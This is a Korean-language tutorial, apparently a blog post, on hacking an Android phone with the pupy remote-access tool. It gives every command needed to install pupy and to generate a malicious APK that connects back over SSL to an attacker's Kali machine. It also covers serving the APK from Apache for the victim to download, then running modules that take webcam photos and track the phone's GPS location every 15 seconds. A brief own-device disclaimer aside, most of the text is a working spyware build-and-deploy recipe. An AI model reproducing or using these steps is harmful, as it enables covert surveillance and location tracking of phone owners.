안드로이드 해킹하기 (pupy)

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.

pupy로 안드로이드 해킹하기

해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 ‘샤오미 홍미 5 플러스’입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.

- 안드로이드 스마트폰

- kali linux

 

1. pupy를 다운로드 받고 설치합니다.

https://github.com/n1nj4sec/pupy

다음 명령어를 순서대로 입력했습니다.

git clone https://github.com/n1nj4sec/pupy.git pupy

cd pupy

git submodule init

git submodule update

pip install -r pupy/requirements.txt

wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz

tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates 

정상적으로 설치됨을 확인합니다.

2. pupysh를 실행해봅니다.

python pupysh.py

패스워드를 입력하는 부분에서는 칼리리눅스 계정 패스워드를 입력하면 됩니다.

정상적으로 서버가 동작함을 확인하고 exit명령어로 서버를 종료했습니다.

 

3. 이제 악성코드를 만들어봅시다.

 

악성코드는 pupygen.py로 만들 수 있습니다.

python pupygen.py -O android -o mandu.apk connect --host 192.168.0.7 --transport ssl

(저는 mandu.apk라는 이름으로 생성하였습니다.)

옵션 설명

-O 해킹할 운영체제

-o 출력할 파일명

connect

--host 칼리리눅스(공격자의 컴퓨터)의 아이피 (ifconfig 명령어로 자신의 아이피를 확인할 수 있습니다.)

--transport ssl (pupy.conf.default에 작성된 내용 그대로 입력하면 됩니다. ssl으로 기본설정 되어있습니다.)

4. 만들어진 악성코드 파일을 안드로이드 기기가 다운받을 수 있도록 아파치 서버에 업로드 하였습니다.

파일에 권한을 부여하고, 아파치 서버를 가동하였습니다.

mv mandu.apk /var/www/html/ #파일 이동

chmod 777 /var/www/html/mandu.apk #권한 부여

service apache2 start #아파치 서버 시작

 

5. 안드로이드 기기에서 해당 파일을 다운로드 받습니다.

http://192.168.0.7/mandu.apk

 

그리고 설치합니다.

6. 칼리리눅스 (공격자의 컴퓨터)에서 서버를 실행합니다.

python pupysh.py

 

서버가 대기상태가 됩니다.

7. 안드로이드 기기에서 해당 어플을 실행합니다.

안드로이드 기기에서는 와이파이 설정 화면으로 이동하게 됩니다.

약 10초후 공격자 컴퓨터의 pupysh.py에서는 하나의 세션이 잡히게 됩니다.

8. list_modules 라는 명령어를 통해 pupy에서 사용할 수 있는 모듈을 목록을 확인할 수 있습니다.

 

run gather/webcamsnap 명령어를 통해 카메라로 사진을 찍어 볼 수 있습니다. 

 

run gather/gpstracker --start 명령어를 통해 해당 기기의 gps값을 트래킹하고,(매 15초 마다 gps값을 가져옵니다.)

run gather/gpstracker --dump 명령어를 통해 가져온 gps값을 확인할 수 있습니다. (파일이 저장됩니다.)

얻은 gps값을 구글지도에 검색하면 실제 기기의 위치정보를 확인할 수 있습니다. 매우 정확합니다.

 

이 외에도 pupy는 다양하고 많은 모듈을 지원하므로 다른 정보들도 가져오는 것이 가능함을 알 수 있습니다.